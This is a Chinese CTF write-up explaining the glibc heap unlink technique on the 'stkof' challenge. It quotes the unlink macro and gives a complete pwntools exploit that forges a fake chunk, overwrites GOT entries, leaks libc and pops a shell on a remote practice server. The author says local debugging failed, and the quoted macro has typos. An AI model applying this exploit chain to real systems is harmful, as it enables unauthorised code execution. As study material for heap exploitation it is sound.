pwn知识——unlink(smallbins)

是我的错觉么,总觉得unlink比UAF好懂好多...也有可能是我觉得做题模板比较好理解一点,真要深入的话我感觉一个头会比两个大emmmm

原理及其条件

原理

unlink顾名思义,脱链,把一个空闲的chunk从unsorted bin里取出来,与物理相邻的chunk合成一个一个大堆块(分“前合”,“后合”’)。这里用图来解释会更清晰一些
原本的堆块结构是这样的,双向链表

	FD = P->fd
	BK = P->bk

image
在unlink经过一系列操作之后成了这样

	FD->bk = BK
	BK->fd = FD

image
我们可以很清楚的看到,BK->fd不再指向p->prev_size而是FD->prev_size,而FD-bk同理,指向了BK->prev_size,就把P给脱了出来,等待下一个被free的与它物理相邻的堆块,与其合并成新的堆块。比如P和FD都被free了,那么P和FD就会合成为新的堆块,chunk头就是P的首地址,而如果是BK和P合并的话,chunk头就是BK的首地址,所以前合与后合是不一样的
那么我们要是可以伪造fd和bk弄出了fake_chunk,是不是就可以进行任意地址读写了?

条件

想要利用这个漏洞,那么你就必须拥有修改被free掉的堆块的权限,即UAF漏洞

关键源码

unlink的源码其实很长,但我们需要动用的部分其实很少,我就把那部分代码截出来进行解读

#define unlink(BK,P,FD){
	FD = P->fd;
	BK = P-bk;
	if(__builtin_expect(FD->bk != P || BK-> != P,0))
		malloc_printerr(check_action,"corrupted doubnle-linked list",P,AV);
		//说人话就是如果FD->bk指向的不是P或BK->fd指向的不是P,那么就会报错,不允许进行这样的修改
	FD->bk = BK;
	BK->fd = FD;
}

所以我们要想伪造fake_chunk,那么我们就要满足这样的表达式

P->fd->bk == P <=> *(P->fd + 0x18) == P
p->bk->fd == P <=> *(p->bk + 0x10) == P

那么我们伪造的fd和bk就是

P->fd = P - 0x18
P->bk = P - 0x10

最终效果就是往P里写入(P-0x18)的值

例题(stkof)

审视源码

main函数,可以看到是去符号表的,通过1,2,3,4来执行相应函数,类似于menu
image
首先看寻找下malloc在哪里,经查询,当v3 == 1时,该函数就是malloc
image
有了malloc,后面的函数就更好对应了,那我们来看看v3 == 2是什么
image
可以看到,有两个输入,最开始会查询数组s中的v2存不存在,不存在就Fail,所以可以看做是index,而第二个输入比较复杂,先是把s字符串转为整形赋给n,ptr取s[v2]的内容,在for循环里逐字节对应,那么我们可以得到n为size,而ptr为content,那么这一整个函数就可以说是edit
再看看v3 == 3,很明显是个free
image
其实只要有这三个函数就足够了,剩下的那个函数就是个checkin,看看你写入没有,非必要就不展示了

Payload

可能是我ubuntu22.04版本有点高,本地调不通,所以我本来想很详细的写gdb调试过程的,但是却因为本地调不成功而远端可打,迫于无奈只能先把payload整个放出来,然后逐步解释

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./stkof')
p = remote('node5.buuoj.cn',25670)
elf = ELF('./stkof')

def malloc(size):
    p.sendline('1')
    p.sendline(str(size))

def edit(index,size,content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)

def free(index):
    p.sendline('3')
    p.sendline(str(index))

P = 0x602150
FD = P - 0x18
BK = P - 0x10
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)

#gdb.attach(p)

payload = p64(0) + p64(0x31)
payload += p64(FD) + p64(BK)
payload += b'a' * 0x10
payload += p64(0x30) + p64(0x90)
#gdb.attach(p)
edit(2,0x40,payload)
#gdb.attach(p)
free(3)
#gdb.attach(p)

payload_change = p64(0)
payload_change += p64(atoi_got)
payload_change += p64(puts_got)
payload_change += p64(free_got)

edit(2,len(payload_change),payload_change)

payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak)
free(1)

puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))

libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))

system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))

edit(2,0x08,p64(system_addr))

malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()

逐步讲解

伪造fake_chunk

首先是很常规的步骤,创建四个堆块,然后根据unlink原理伪造fd和bk,创造出fake_chunk

malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)

payload = p64(0) + p64(0x31) 
payload += p64(FD) + p64(BK) #跟选取的堆块有关
payload += b'a' * 0x10 #因为我开辟的堆块大小为0x30,为了覆盖到下一个堆块头,得先把这0x30填充完
payload += p64(0x30) + p64(0x90)

edit(2,0x40,payload)
free(3)

我们一次来看edit之前,edit和free后的状况

edit前

image
首先我们先排除三个堆块,分别为系统创造的size为0x290,0x1000,0x410(其实都比真实开辟的地址大0x10),其余的才是我们创造的堆块
我们可以看到最初的堆块构造

edit

image
现在我们已经把payload的内容写进去了,fd和bk也都伪造好了,不过在伪造fd,bk之前,得先确定堆块的位置,先来看看如何根据堆块的位置进行伪造fd,bk指针
image
0x602140是数组s的首地址,也是我们堆所在的地方,我们可以很清楚的看到,因为我选取的是堆块2,对应的地址是0x602150-->0x1ed4700,所以我的P == 0x612150,那么fd和bk也就应运而生

free

从这里开始我的gdb就开始失败了,为了连贯我还是把它放出来
image
按照正常情况,我最开始的0x31应该会被修改成0xc1,而bk和fd也会被解析为真实地址,但是不知为何没有,应该是ubuntu版本问题。
如果正常运行的话,堆会变成这样
image
那么我们现在就可以进行任意地址写了
PS:由于堆块2和3已经合并了,所以这里的chunk3实际是我开辟的第四个堆块

修改chunk

思路

从这里开始可能就比较意识流了,我会尽量进行详细解释,让大家看懂

payload_change = p64(0) #0x602138
payload_change += p64(atoi_got) #0x602140
payload_change += p64(puts_got) #0x602148
payload_change += p64(free_got) #0x602150

edit(2,len(payload_change),payload_change) #相当于从0x602138开始写入地址

payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak) #泄露任意你想要的地址
free(1) #puts对应所在堆块

puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))

我们要进行任意地址写,就必须从0x602138入手,也就是我们的堆块2入手,我们把got表填写进chunk之中,通过改写got表来实现任意操作。因为我们的程序中不存在system,所以我们得先泄露出libc_base才行,把free改成puts即可通过free任意地址打印出对应函数的真实地址

first_edit

image

second_edit

image

泄露

我们已经把free_got指向了puts,那么我们free任意堆块都相当于puts出了它的真实地址,只需要接收地址即可,因为2我泄露的是puts函数,puts函数是在堆块1内,所以我是free(1)

收尾

libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))

system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))

edit(2,0x08,p64(system_addr))

malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()

把free再次改成system,然后往空堆块里塞/bin/sh再free即可

疑惑点

哪位佬能告诉我为啥我ubuntu22.04调试不成功...是它源码又更新了吗?感觉unlink没法在高版本ubuntu使用了的样子

posted @ 2024-04-06 13:00  Sn0wFlak3  阅读(84)  评论(0编辑  收藏  举报